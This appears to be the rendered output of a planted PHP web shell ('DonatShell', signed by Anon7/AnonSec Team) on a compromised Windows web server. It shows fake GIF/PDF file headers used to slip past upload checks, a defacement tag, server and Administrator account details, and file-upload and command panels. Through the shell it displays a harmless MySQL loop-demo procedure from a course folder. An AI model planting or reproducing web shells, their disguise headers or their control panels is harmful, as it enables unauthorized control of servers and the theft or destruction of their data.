GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1602/Resources/sql/Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1602/Resources/sql/Archive/LoopDemo.sql
DROP PROCEDURE IF EXISTS LoopDemo;

DELIMITER $$
CREATE PROCEDURE LoopDemo()
BEGIN
	DECLARE x  INT DEFAULT 1;
	DECLARE str  VARCHAR(255) DEFAULT '';
	DECLARE prefix VARCHAR(1) DEFAULT '';
    
	#SET x = 1;
	#SET str =  '';
	#SET prefix = '';
    
	loop_label:  LOOP
		IF  x > 10 THEN 
			LEAVE  loop_label;
		END  IF;
            
		SET  x = x + 1;
        
		IF  (x mod 2) THEN
			ITERATE  loop_label;
		END  IF;
		
        SET  str = CONCAT(str,prefix,x);
        SET prefix = ',';
		
	END LOOP;
	SELECT str;
END$$

Anon7 - 2022
AnonSec Team